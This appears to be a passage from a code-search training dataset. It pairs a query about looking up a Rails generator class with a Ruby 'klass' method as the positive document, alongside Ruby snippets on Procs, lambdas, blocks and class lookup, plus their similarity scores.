puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def another_proc\n\tp = Proc.new {return}\n\tp.call\n\tputs \"After Proc\"\nend", "def lambda; end", "def run_proc_closure(p)\n p.call\nend", "def run_proc_or_lambda(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def call_a_proc(&block)\n block.call\nend", "def my_map_pb(*procs)\n\t\tresults = []\n\t\tblock_results = []\n\t\tif procs.length == 1\n\t\t\tself.my_each do |item|\n\t\t\t\tresults << procs[0].call(item)\n\t\t\tend\n\t\t\tif block_given?\n\t\t\t\tresults.my_each do |item|\n\t\t\t\t\tblock_results << yield(item)\n\t\t\t\tend\n\t\t\t\tresults = block_results\n\t\t\tend\n\t\telsif procs.length == 0 && block_given?\n\t\t\tputs \"warning: given block not used (must have proc as argument)\"\n\t\t\treturn self\n\t\telse\n\t\t\traise ArgumentError, \"wrong number of arugments (#{procs.length} for 1)\"\n\t\tend\n\t\tresults\n\tend", "def execute\n [lambda, block].each do |aProc|\n next unless aProc\n aProc.call\n end\n end", "def execute\n [lambda, block].each do |aProc|\n next unless aProc\n aProc.call\n end\n end", "def processor=(_arg0); end", "def quux\n block = proc do\n break 'quux: proc break'\n end\n block.call\n return 'quux: post proc'\nend", "def callop(*args)\n raw_result = common_call(args) do |filtered|\n return_typename, return_value = nil\n if !@void_return\n return_typename = orocos_return_typenames[0]\n return_value = result_value_for(return_types.first)\n end\n\n task.do_operation_call(name, return_typename, return_value,\n orocos_arguments_typenames, filtered)\n\n result = []\n if return_value\n result << return_value\n end\n inout_arguments.each do |index|\n result << filtered[index]\n end\n result\n end\n\n result = []\n raw_result.each_with_index do |v, i|\n result << Typelib.to_ruby(v, return_types[i])\n end\n if result.empty? then nil\n elsif result.size == 1 then result.first\n else result\n end\n end", "def to_proc\n Proc.new {|*args| self.invoke(*args) }\n end", "def b_method()\n Proc.new { return \"we return from proc\" }.call\n return \"return from method\"\nend", "def process(*)\n end", "def process(*)\n end", "def run_block\n p = Proc.new\n p.call\nend", "def proc_math\n Proc.new { return 1 + 1 }.call\n\n return 2 + 2\nend", "def proc_math\n Proc.new { return 1 + 1 }.call\n return 2 + 2\nend", "def pass_proc1 (proc1, proc2, number, proc3)\n proc1.call\n proc2.call\n proc3.call \n Proc.new { puts \"#{number} procs have been passed as arguments to the currently executing method #{__method__.to_s}\" }.call\n proc5 = Proc.new {puts \"A proc can be output from a method. This is the second property of higher-order functions\"} \nend", "def return_test\n\tl = lambda { return }\n\tl.call\n\tputs \"Still here!\"\n\tp = Proc.new { return }\n\tp.call\n\tputs \"You won't see this message!\"\nend", "def multi(&block); end", "def dietproc\n status=Proc.new{return \"You gave in!\"} #explict return skips the part of code so removing return\n status.call\n \"You completed the diet!\"\nend", "def foo\n #chamar um block\n yield #quando passarmos o block como parametro sera executado no lugar do yield\n yield #sera executado 2 vezes\nend", "def foo\n\n yield # executa um bloco passado por parametro (so pode passar 1)\n yield \nend", "def be_proc(&block)\n block.call\n puts block.class\nend", "def my_method\n puts \"before proc\"\n my_proc = lambda do\n puts \"inside proc\"\n return\n end\n my_proc.call\n puts \"after proc\"\nend", "def metodo_2\n yield if block_given? #el metodo se ejecuta con o sin metodo metodo_2()\nend", "def preproc=(_arg0); end", "def proc_method\n p = Proc.new { return \"\\nreturning from proc\\n\"} \n p.call\n print \"\\nStatement after proc\\n\"\nend", "def procedure_a(a,b)\n a=a+3\n b=b+4\n return a,b\nend", "def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\n\nend", "def procedure(returntype, name, number, argtype, &block)\n\t\tnewproc = Procedure.new(number, returntype, argtype, &block)\n\t\tadd_procedure(name, number, newproc)\n\tend", "def call_proc\n\tputs \"Before proc\"\n\tmy_proc = Proc.new { return 2 } \n\tmy_proc.call\n\tputs \"After proc\"\nend", "def fred(param)\n proc {}\nend", "def talk_about(name, &myproc) #so ruby (and us) know we are adding a proc prefix it with a ambersand &\n puts \"Let me tell you about #{name}\"\n myproc.call(name) #in the body it doesnt need a ambersand & only in the definition\nend", "def proc_return\n my_proc = Proc.new {return}\n my_proc.call\n puts \"Will this be printed (Proc)\"\nend", "def callBlock\n yield ,\n end", "def to_proc\n ->(*args, &blk) do\n receiver = args.first\n if (blk)\n receiver.send(self, &blk)\n else\n args[0] = self\n receiver.send(*args)\n end\n end\n end", "def process(*)\n end", "def proc_return\n my_proc = Proc.new { return }\n my_proc.call\n puts \"This will not be printed\"\nend", "def procsTest\n arr = [0,1,2,19,17,3,4]\n puts arr.sort_by { |x,y| x <=> y }.to_s\n # but what if we want to reuse this sorting block ???\n sortingBlock = Proc.new { |x,y| x <=> y } # save block (object) into the variable\n puts \"---------- Proc call 1 ----------\"\n puts (arr.sort_by &sortingBlock).to_s # reuse it\n # proc IS THE SAME AS Proc.new\n selectBlock = proc { |x| (x < 2 or x > 17) or (x >= 2 and x <=3) }\n # select() method takes boolean as argument,\n # sort_by() method takes 0, 1, -1 values (equals, bigger, lesser)\n puts ((arr.select &selectBlock).sort_by &sortingBlock).to_s # reuse blocks\n puts \"--- and proc .call() \"\n puts selectBlock.call(1).to_s\nend", "def procformation(arr, prc1, prc2, prc3)\n narr = arr.map do |ele|\n if prc1.call(ele)\n prc2.call(ele)\n else\n prc3.call(ele)\n end\n end\n narr\nend", "def my_method\n \n puts \"before proc\"\n\n my_proc = lambda{\n puts \"Inside proc\"\n #return\n #break\n }\n\n my_proc.call\n puts \"after proc\"\n\nend", "def call_a_proc(&my_proc)\n my_proc.call\nend", "def proc_call(arg)\n [1,2,3].each { |x| arg.call(x) }\nend", "def to_proc\n proc { |n| call(n) }\nend", "def qux ( &block )\n yield\n return 'qux: post proc'\nend", "def batman_ironman_proc #will return batman will win\n victor = Proc.new { |n| return \"Batman will win!#{n}\" }\n victor.call(3)\n \"Iron Man will win!\"\nend", "def procasaurus( p1, p2, p3 )\n\tputs p1.call\n\tputs p2.call\n\tputs p3.call\nend", "def proc_as_block\n arr = [1,2,3]\n square = Proc.new{|x| x*x}\n arr.map!(& square)\n arr\n end", "def return_with_Proc\n f = Proc.new { return \"return inside block\" }\n f.call\n v = f.call\n return \"#{v}: return from method_end\" \nend", "def invoke\n @proc.call\n end", "def greeting(proc_1, proc_2, proc_3)\n puts proc_1.call('good morning')\n puts proc_2.call('hello')\n puts proc_3.call('good evening')\nend", "def invoke *o,&b\n @invoker ||= create_invoker()\n invoker.invoke *o,&b\n end", "def pipelined\n yield\n end", "def to_proc\n ->(input) { call(input) }\n end", "def take_proc(proc)\n\t[1,2,3,4].each do |number|\n\tproc.call number\n\tend\nend" ]
[ "0.64441127", "0.62665284", "0.6145041", "0.60783654", "0.5977346", "0.59772694", "0.5970601", "0.59508646", "0.5926473", "0.5913331", "0.59103835", "0.5904535", "0.58947235", "0.58831906", "0.5865806", "0.58497536", "0.5837032", "0.5837032", "0.581326", "0.58029526", "0.5802744", "0.579975", "0.57956606", "0.57947385", "0.5782895", "0.5761688", "0.57554436", "0.5733422", "0.5731586", "0.5730483", "0.57233024", "0.57049996", "0.56876063", "0.56785715", "0.56748986", "0.5672577", "0.5665559", "0.5650087", "0.5639429", "0.5607673", "0.5605062", "0.55964977", "0.55895174", "0.55895174", "0.55789506", "0.5578101", "0.55666417", "0.55635023", "0.55603665", "0.5549496", "0.55441475", "0.55441475", "0.55430603", "0.5539841", "0.55308586", "0.55244017", "0.5518495", "0.5507607", "0.5507607", "0.5504571", "0.5497455", "0.54944736", "0.5490496", "0.54747653", "0.54631615", "0.54612714", "0.54585147", "0.5456871", "0.54557484", "0.54514635", "0.54422665", "0.5432792", "0.54189754", "0.54170036", "0.5412916", "0.5408998", "0.5408456", "0.5408093", "0.5402115", "0.54003507", "0.53927577", "0.53927064", "0.53802717", "0.5378481", "0.53701603", "0.53653777", "0.53602326", "0.5356072", "0.53462076", "0.53450525", "0.5344598", "0.5343862", "0.5333249", "0.53309655", "0.5321159", "0.53157336", "0.5309539", "0.53091514", "0.53036666", "0.5300757", "0.53001535" ]
0.0
-1
Look up the generator class. Require its class file, find the class in ObjectSpace, tag it with this spec, and return.
def klass unless @klass require class_file @klass = lookup_class @klass.spec = self end @klass end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lookup_class\r\n ObjectSpace.each_object(Class) do |obj|\r\n return obj if obj.ancestors.include?(Rails::Generator::Base) and\r\n obj.name.split('::').last == class_name\r\n end\r\n raise NameError, \"Missing #{class_name} class in #{class_file}\"\r\n end", "def download_class class_name\r\n file = from_cache \"ruby/classdefs?#{class_name}\"\r\n file = class_name unless file\r\n sys_require file\r\n end", "def generator\n unless @generator\n @doc.xpath(\"xmlns:generator\").each do |generator|\n @generator = Generator.new(generator)\n end \n end\n \n return generator\n end", "def create_instance type, options=nil\n class_name = \"#{type.to_s.camel_case}Generator\"\n registered_entities.each do |entity|\n if(entity.to_s.match(/::#{class_name}$/) || entity.to_s.match(/^#{class_name}$/))\n return entity.new\n end\n end\n raise Sprout::Errors::MissingGeneratorError.new \"Could not find any generator named: (#{class_name}). Perhaps you need to add a RubyGem to your Gemfile?\"\n end", "def assert_generated_class(path, parent = nil)\n # FIXME: Sucky way to detect namespaced classes\n if path.split('/').size > 3\n path =~ /\\/?(\\d+_)?(\\w+)\\/(\\w+)$/\n class_name = \"#{$2.camelize}::#{$3.camelize}\"\n else\n path =~ /\\/?(\\d+_)?(\\w+)$/\n class_name = $2.camelize\n end\n\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path))\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def class_get class_name\n\t\t\t\t@monitor.synchronize do\n\t\t\t\t\tproviders.each do |p|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\treturn p.class_get(class_name) \n\t\t\t\t\t\trescue NotExist;\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\traise \"Class '#{class_name}' doesn't exist!\"\n\t\t\t\tend\n\t\t\tend", "def assert_generated_class(path,parent=nil)\n path=~/\\/?(\\d+_)?(\\w+)$/\n class_name=$2.camelize\n assert_generated_file(\"#{path}.rb\") do |body|\n assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def class_dir\n @parent_generator.class_dir\n end", "def generate_custom_classes\r\n\t\t# TODO: this method assumes an application to find the metadata on; the metadata should be part of this class instance instead, shared with the app when present\r\n\t\tparent_class_name = {\r\n\t\t\t'CustomMaterial' => 'MaterialBase',\r\n\t\t\t'Effect' => 'Effect',\r\n\t\t\t'Behavior' => 'Behavior',\r\n\t\t\t'RenderPlugin' => 'RenderPlugin'\r\n\t\t}\r\n\t\t@class_by_ref = {}\r\n\t\t@doc.xpath('/UIP/Project/Classes/*').each do |reference|\r\n\t\t\tpath = absolute_path( reference['sourcepath'] )\r\n\t\t\tnext unless File.exist?( path )\r\n\t\t\tparent_class = app.metadata.by_name[ parent_class_name[reference.name] ]\r\n\t\t\traise \"Error, unsupported custom class #{reference.name}\" unless parent_class\r\n\t\t\tparent_props = parent_class.properties\r\n\t\t\tnew_defaults = Hash[ reference.attributes.map{ |name,attr| [name,attr.value] }.select{ |name,val| parent_props[name] } ]\r\n\t\t\tproperty_el = case reference.name\r\n\t\t\t\twhen 'CustomMaterial', 'Effect', 'RenderPlugin'\r\n\t\t\t\t\tdoc = Nokogiri.XML(File.read(path,encoding:'utf-8'))\r\n\t\t\t\t\tdoc.at('/*/MetaData') || doc.at('/*/metadata') # Some render plugins in the wild use lower-case tag name :/\r\n\t\t\t\twhen 'Behavior'\r\n\t\t\t\t\tlua = File.read(path,encoding:'utf-8')\r\n\t\t\t\t\tmeta = lua[ /--\\[\\[(.+?)(?:--)?\\]\\]/m, 1 ]\r\n\t\t\t\t\tNokogiri.XML(\"<MetaData>#{meta}</MetaData>\").root\r\n\t\t\tend\r\n\t\t\t@class_by_ref[ \"##{reference['id']}\" ] = app.metadata.create_class( property_el, parent_class, reference.name, new_defaults )\r\n\t\tend\r\n\t\tnil\r\n\tend", "def assert_generated_class(name,parent=nil)\n parts = name.split('.')\n path = parts.join(File::SEPARATOR)\n path << '.as'\n if(parent)\n path = File.join(parent, path)\n end\n # class_name=$2.camelize\n path = \"#{Sprout::Sprout.project_path}/#{path}\"\n class_name = parts.pop\n package_name = parts.join('.')\n assert_generated_file(path) do |body|\n assert(body=~ /package #{package_name}/, \"Generated class #{name} does not have expected package definition\")\n assert(body=~ /public class #{class_name}/, \"Generated class #{name} does not have expected class defintion\")\n\n# assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.as' should be a class\"\n yield body if block_given?\n end\n end", "def create_specialized_class(env, base_class_name, type_args)\n gen_cls = env.find_class(base_class_name)\n raise if !(SkGenericClass === gen_cls) &&\n !(SkGenericMetaClass === gen_cls)\n sp_cls = gen_cls.specialized_class(type_args, env)\n gen_meta = env.find_meta_class(base_class_name)\n sp_meta = gen_meta.specialized_class(type_args, env)\n return sp_cls, sp_meta\n end", "def find_class_named_from name, from\n from = find_class_named from unless RDoc::Context === from\n\n until RDoc::TopLevel === from do\n return nil unless from\n\n klass = from.find_class_named name\n return klass if klass\n\n from = from.parent\n end\n\n find_class_named name\n end", "def generate\n classes = registry.all(:class)\n classes.each do |c|\n data = methods(c)\n output(data, c.to_s)\n end\n end", "def klass\n @klass ||= BSON.const_get(description)\n end", "def generator(driver)\n unless @generators.key?(driver)\n \n generator_class = @@generator_classes[driver] \n \n unless generator_class \n begin\n require \"topo/provision/#{driver}/generator\"\n generator_class = @@generator_classes[driver]\n rescue LoadError => e\n STDERR.puts e.message\n STDERR.puts(\"#{driver} driver cannot be loaded - using default generator instead\")\n generator_class = @@generator_classes[\"default\"] \n end\n end\n \n @generators[driver] = Object::const_get(generator_class).new(@topology)\n end\n \n @generators[driver]\n end", "def generator_type() = self.class.name.deconstantize.underscore", "def search_class\n klass = if args[1]\n target.eval(args[1])\n else\n target_self\n end\n\n klass.is_a?(Module) ? klass : klass.class\n end", "def generate_class_files\n setup\n\n template_file = @template_dir + 'class.rhtml'\n template_file = @template_dir + 'classpage.rhtml' unless\n template_file.exist?\n return unless template_file.exist?\n debug_msg \"Generating class documentation in #{@outputdir}\"\n\n current = nil\n\n @classes.each do |klass|\n current = klass\n\n generate_class klass, template_file\n end\n rescue => e\n error = RDoc::Error.new \\\n \"error generating #{current.path}: #{e.message} (#{e.class})\"\n error.set_backtrace e.backtrace\n\n raise error\n end", "def class_for(cls)\n return nil unless cls # superclass will return nil when none\n fqn = cls.qualified_type_name\n return classes[fqn] if classes[fqn]\n classes[fqn] = JClass.parse(self, cls)\n end", "def generate_class klass, template_file = nil\n setup\n\n current = klass\n\n template_file ||= @template_dir + 'class.rhtml'\n\n debug_msg \" working on %s (%s)\" % [klass.full_name, klass.path]\n out_file = @outputdir + klass.path\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n asset_rel_prefix = rel_prefix + @asset_rel_path\n svninfo = get_svninfo(current)\n\n @title = \"#{klass.type} #{klass.full_name} - #{@options.title}\"\n\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here.local_variable_set(:svninfo, svninfo)\n here\n end\n end", "def target_class\n # Need to do a little bit of work here as Module.const_get doesn't work\n # with nested class names, i.e. JIRA::Resource::Foo.\n #\n # So create a method chain from the class components. This code will\n # unroll to:\n # Module.const_get('JIRA').const_get('Resource').const_get('Foo')\n #\n target_class_name = self.class.name.sub(/Factory$/, '')\n class_components = target_class_name.split('::')\n\n class_components.inject(Module) do |mod, const_name|\n mod.const_get(const_name)\n end\n end", "def class_for(code_object)\n class_name = code_object.class.to_s.split('::').last\n const_get(class_name)\n end", "def template_folder_for clazz\n # Search the potential matches in reverse order\n # because subclasses have registered AFTER their\n # superclasses and superclasses match the ===\n # check...\n generator_paths.reverse.each do |options|\n if options[:class] === clazz\n return options[:templates]\n end\n end\n nil\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def find\n unless @release\n klass = list.detect { |impl| impl.applies_to? }\n @release = klass.new if klass\n end\n @release\n end", "def find\n unless @release\n klass = list.detect { |impl| impl.applies_to? }\n @release = klass.new if klass\n end\n @release\n end", "def classByName(className)\r\n\t\t# we keep a blacklist of classes. For instance\r\n\t\t# if you are using say QT, you'll have constant references\r\n\t\t# to QObject, that is not in your tag files.\r\n\t\t# to avoid checking all the tags looking for this class\r\n\t\t# each time that I'm asked for it, I just blacklist it once for all.\r\n\t\t# this happened with KoRect in kword, and the time went from\r\n\t\t# 12 seconds to instantaneous...\r\n\t\t#return nil if @blacklist.include?(className)\r\n\t\t@classTags.each { |tag|\r\n\t\t\t\t#puts \"classByName: found \" + tag.name\r\n\t\t\tif (tag.name == className)\r\n\t\t\t\treturn tag\r\n\t\t\tend\r\n\t\t}\r\n\t\t\r\n\t\treturn nil\r\n\tend", "def get_class(class_name)\n Module.const_get(class_name)\n rescue\n nil\n end", "def generate_class_and_module_files\n template_file = @template_dir + 'class-page.html.erb'\n debug_msg \"Generating class documentation\"\n @unique_classes_and_modules.each do |klass|\n debug_msg \" %s %s\" % [klass.type, klass.full_name]\n outfile = @output_dir + klass.path\n @class = klass\n self.render_template(template_file, binding(), outfile)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def object_class\n @object_class ||= begin\n oc = @store.find_class_named('Object') || add_class(RDoc::NormalClass, 'Object')\n oc.record_location self\n oc\n end\n end", "def class_document name, found, klasses, includes, extends\n also_in = []\n\n out = RDoc::Markup::Document.new\n\n add_class out, name, klasses\n\n add_includes out, includes\n add_extends out, extends\n\n found.each do |store, klass|\n render_class out, store, klass, also_in\n end\n\n add_also_in out, also_in\n\n out\n end", "def required_class\n return @required_class if defined?(@required_class)\n @required_class = @required_class_name.split(\"::\").inject(Object, :const_get)\n end", "def find_class_or_module_named(symbol)\n RDoc::TopLevel.classes_hash.each_value do |c|\n return c if c.full_name == symbol\n end\n\n RDoc::TopLevel.modules_hash.each_value do |m|\n return m if m.full_name == symbol\n end\n\n nil\n end", "def find_class(raw_name, name)\n unless @classes[raw_name]\n if raw_name =~ /^rb_m/\n container = @top_level.add_module RDoc::NormalModule, name\n else\n container = @top_level.add_class RDoc::NormalClass, name\n end\n\n container.record_location @top_level\n @classes[raw_name] = container\n end\n @classes[raw_name]\n end", "def generator(name = nil)\n metadata[:generator_name] = name.to_s if name\n return metadata[:generator_name] if metadata[:generator_name]\n \n if genspec_subclass?\n superclass.generator\n else\n describes || description\n end\n end", "def class() end", "def search_class(module_name)\n file_array = module_name.split('::')\n\n #search module path for the class\n $mod_dir.each do |y|\n if File.directory?(\"#{y}/#{file_array[0]}\")\n @filename = \"#{y}/#{file_array[0]}\"\n break\n end\n end\n\n #did we find the class?\n if defined? @filename\n @filename = \"#{@filename}/manifests\"\n #if base case make the path correct, else fill out the whole path with sub classes\n if file_array.count == 1\n @filename = \"#{@filename}/init\"\n else\n file_array.shift\n file_array.each do |k|\n @filename = \"#{@filename}/#{k}\"\n end\n end\n @filename = \"#{@filename}.pp\"\n else\n #Error if class cannot be found\n puts \"Cannot find class\"\n return 0\n end\n\n #Determine if the file actually exists\n if not File.exists?(@filename)\n puts \"No such class\"\n return 1\n end\n\n #Read the file\n f = File.open(@filename,'r')\n g =f.readlines\n\n #loop through the lines and find recourses and included classes\n g.each do |val|\n # find resources\n if n = val.match(/^[ \\t]*[a-z:].*{[ \\t]*['\\\"].*['\\\"]:/)\n out_val = n[0].sub(/\"/,\"'\").gsub(/\\s+/,\"\")\n #Determine if we have a duplicate resource and display if we do\n if $resource_variables.has_key?(out_val)\n puts \"\\n******** DEPLICATE FOUND! ********\"\n $resource_variables[out_val] = $resource_variables[out_val].push(module_name)\n puts \"#{out_val} defined in these classes: #{$resource_variables[out_val]}\"\n else\n #Add resource to hash with name of containing class\n $resource_variables[out_val] = [module_name]\n end\n next\n end\n # find included classes\n if m = val.match(/^[ \\t]*include[ \\t]*.*/)\n out_val = m[0]\n x = m[0].gsub(/^[ \\t]*include[ \\t]/,'')\n #if class is not in our array add it and then call this class to iterate that included class\n if not $include_variables.include?(x)\n $include_variables.push(x.strip)\n search_class(x)\n end\n end\n end\nend", "def get_class(cname, mdl = Processor)\n mdl.const_get(cname.split(/[\\,\\_]/).map { |p| p.capitalize }.join)\n rescue NameError\n return nil\n end", "def class\n __getobj__.class\n end", "def generate_class_files\n debug_msg \"Generating class documentation in #@outputdir\"\n templatefile = Pathname.new(File.dirname(__FILE__) + '/template/railsfish/classpage.rhtml')\n \n @classes.each do |klass|\n debug_msg \" working on %s (%s)\" % [ klass.full_name, klass.path ]\n outfile = @outputdir + klass.path\n rel_prefix = @outputdir.relative_path_from( outfile.dirname )\n svninfo = self.get_svninfo( klass )\n \n debug_msg \" rendering #{outfile}\"\n self.render_template( templatefile, binding(), outfile )\n end\n end", "def asset_class_lookup\n return ASSET_CLASS_LOOKUP\n end", "def generate_class\n code = \"require 'mongoid'\" + \"\\n\"\n code = code + 'class ' + @doc['name'].downcase.capitalize + \"\\n\"\n code += \"\\tinclude Mongoid::Document\\n\"\n @doc['fields'].each{ |field|\n code = code + \"\\tfield :\" + field[\"name\"]+( translate_type(field[\"type\"]).to_s != \"\" ? \",type: \" + translate_type(field[\"type\"]) : \"\") + \"\\n\"\n }\n code += 'end'\n return code\n end", "def get_object\n class_name = self.target_type.classify\n klass = Object.const_get(class_name)\n return klass.find(self.target_id)\n end", "def method_missing(name)\n name = name.to_s \n \n # Class name\n class_name = \"_\" << name\n class_name.gsub!(self.class::CLASS_NAME_GENERATOR) { |s| s[1].chr.upcase }\n\n # Module name\n module_name = @module.name + \"::\" + class_name\n \n # File path\n file_path = \"x\" << module_name\n file_path.gsub!(self.class::FILE_NAME_GENERATOR) { |s| s[0].chr << \"-\" << s[1].chr }\n file_path.replace(file_path[2..-1])\n file_path.gsub!(\"::\", \"/\")\n file_path.downcase!\n \n if not @@files.has_key? file_path\n require file_path\n @@files[file_path] = true\n end\n \n return __get_module(module_name)\n end", "def target_spec_path\n @target_spec_path ||= begin\n class_name_parts = object_name.split('::')\n\n # drop the module name if the object name contains multiple parts\n class_name_parts.delete_at(0) if class_name_parts.length > 1\n\n \"#{File.join(module_dir, 'spec', 'classes', *class_name_parts)}_spec.rb\"\n end\n end", "def class_declaration\n name = consume(:identifier, 'Expect class name.')\n\n superclass = nil\n if match?(:less)\n consume(:identifier, \"Expect superclass name.\")\n superclass = Ringo::Variable.new(previous)\n end\n\n consume(:lbrace, \"Expect '{' before class body.\")\n methods = []\n while !check?(:rbrace) && !at_end?\n methods << function_declaration('method')\n end\n\n consume(:rbrace, \"Expect '}' after class body.\")\n return Ringo::Class.new(name, superclass, methods)\n end", "def clazz( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::ClassInfo.new( self, name )\n\t\t\tend", "def dynamic_class_declared(id, classname, file, line)\n return unless id == :new && classname == Class \n File.read(file).lines.to_a[line-1][/[A-Z][\\w_:]*/, 0]\n end", "def class_definition()\n \t_IDENTIFIER1 = nil\n\n\n\n\n \t class_def = ClassDefinition.new\n\n\n # 19:7: modifier[class_def] CLASS ( IDENTIFIER ) ( class_name_parameters[class_def] )? ( inheritance[class_def] )? ( interface[class_def] )? class_body[class_def]\n modifier(class_def)\n\n match(:CLASS)\n # 21:8: IDENTIFIER\n _IDENTIFIER1 = @input.look_ahead(1)\n match(:IDENTIFIER)\n class_def.name = _IDENTIFIER1.text \n # 22:7: ( class_name_parameters[class_def] )?\n alt2 = 2\n # 22:7: ( class_name_parameters[class_def] )?\n look_ahead2_0 = look_ahead(1)\n\n if look_ahead2_0 == :LEFT_ANGULAR_BRACKET \n alt2 = 1\n end\n case alt2\n when 1\n # 22:9: class_name_parameters[class_def]\n class_name_parameters(class_def)\n\n end\n # 23:7: ( inheritance[class_def] )?\n alt3 = 2\n # 23:7: ( inheritance[class_def] )?\n look_ahead3_0 = look_ahead(1)\n\n if look_ahead3_0 == :EXTENDS \n alt3 = 1\n end\n case alt3\n when 1\n # 23:8: inheritance[class_def]\n inheritance(class_def)\n\n end\n # 24:7: ( interface[class_def] )?\n alt4 = 2\n # 24:7: ( interface[class_def] )?\n look_ahead4_0 = look_ahead(1)\n\n if look_ahead4_0 == :IMPLEMENTS \n alt4 = 1\n end\n case alt4\n when 1\n # 24:8: interface[class_def]\n interface(class_def)\n\n end\n class_body(class_def)\n\n\n puts class_def.report\n \n\n\n\n end", "def get_or_create_class name\n raise \"uups #{name}.#{name.class}\" unless name.is_a? Symbol\n c = @classes[name]\n unless c\n c = BootClass.new(name)\n @classes[name] = c\n end\n c\n end", "def load_class klass_name\n obj = load_class_data klass_name\n\n obj.store = self\n\n case obj\n when RDoc::NormalClass then\n @classes_hash[klass_name] = obj\n when RDoc::SingleClass then\n @classes_hash[klass_name] = obj\n when RDoc::NormalModule then\n @modules_hash[klass_name] = obj\n end\n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def klass\n reflection.klass\n end", "def klass\n reflection.klass\n end", "def get_class_by_name( name )\n raise \"get_class_by_name #{name}.#{name.class}\" unless name.is_a?(Symbol)\n c = classes[name]\n #puts \"MISS, no class #{name} #{name.class}\" unless c # \" #{classes}\"\n #puts \"CLAZZ, #{name} #{c.get_type.get_length}\" if c\n c\n end", "def getRubyClass\n @ruby_class\n end", "def get_class(name)\n # 'self' -- the class from which get_class is called.\n self.const_get(name)\n end", "def class_to_virtual_file class_name\n\t\t\tresult = nil\n\t\t\tif @cache.include? class_name\n\t\t\t\tresult = @cache[class_name]\n\t\t\telse\n\t\t\t\tresult = nil\n\t\t\t\tpath = class_to_basefile class_name\n\t\t\t\tif File.exist? path\n\t\t\t\t\tresult = path\n\t\t\t\telse\n\t\t\t\t\tpath2 = \"#{path}.rb\"\n\t\t\t\t\tif File.exist? path2\n\t\t\t\t\t\tresult = path\n\t\t\t\t\telse\n\t\t\t\t\t\tpath3 = \"#{path}.res\"\n\t\t\t\t\t\tif File.exist? path3\n\t\t\t\t\t\t\tresult = path\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\tend\t\t\t\t\n\t\t\t\tend\n\t\t\t\t@cache[class_name] = result\n\t\t\tend\t\t\t\t\t\t\n\t\t\t\n\t\t\tif result\n\t\t\t\treturn \"#{result}.rb\"\n\t\t\telse\n\t\t\t\traise Resource::NotExist, \"Class '#{class_name}' doesn't Exist!\"\n\t\t\tend\t\t\t\t\t\t\t\t\n\t\tend", "def findClassModelByPluginName(plugName)\n for cls in @classes\n if cls.plugName == plugName\n return cls\n end\n end\n\n return nil\n end", "def find_class(class_name)\n begin\n klass = Module.const_get(class_name)\n return (klass.is_a?(Class) ? klass : nil)\n rescue NameError\n return nil\n end\n end", "def gear\n registered_gear = Gearhead.registry.find(request.params[:resource_class])\n return registered_gear if registered_gear\n return nil if inferred_resource_class.nil?\n return false if Gearhead.registry.for_resource(inferred_resource_class.name)\n\n default_gear\n end", "def class_file klass_name\n name = klass_name.split('::').last\n File.join class_path(klass_name), \"cdesc-#{name}.ri\"\n end", "def comp_class\n # set field count to zero\n @field_count = 0\n @i += 1\n # instantiate new Codewrite instance\n $cw = CodeWriter.new\n $st = ST.new\n # set cw.@class_name to class name\n $cw.set_class_name(@tokens[@i].val)\n @class = @tokens[@i].val\n @i += 1\n while @i < @tokens.length\n @constructor = true if @tokens[@i].val == 'constructor'\n @method = true if @tokens[@i].val == 'method'\n case @tokens[@i].val\n # add class variables to symbol table\n when 'static', 'field'\n comp_class_var_dec\n next\n when 'constructor', 'function', 'method'\n comp_subroutine\n next\n else\n @i += 1\n end\n end\n $cw.close_file\n end", "def klass\n @klass ||= Class.new(Parslet::Parser)\n end", "def get_classobj(classname, lang, pi)\n classname ||= \"E#{lang}\"\n base_module = pi ? Erubis::PI : Erubis\n begin\n klass = base_module.const_get(classname)\n rescue NameError\n klass = nil\n end\n unless klass\n if lang\n msg = \"-l #{lang}: invalid language name (class #{base_module.name}::#{classname} not found).\"\n else\n msg = \"-c #{classname}: invalid class name.\"\n end\n raise CommandOptionError.new(msg)\n end\n return klass\n end", "def display_class name\n return if name =~ /#|\\./\n\n found, klasses, includes, extends =\n classes_and_includes_and_extends_for name\n\n return if found.empty?\n\n out = class_document name, found, klasses, includes, extends\n\n display out\n end", "def find_class_named name\n @classes_hash[name]\n end", "def class; end", "def class; end", "def class_def!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 90 )\n\n type = CLASS_DEF\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 211:13: 'class'\n match( 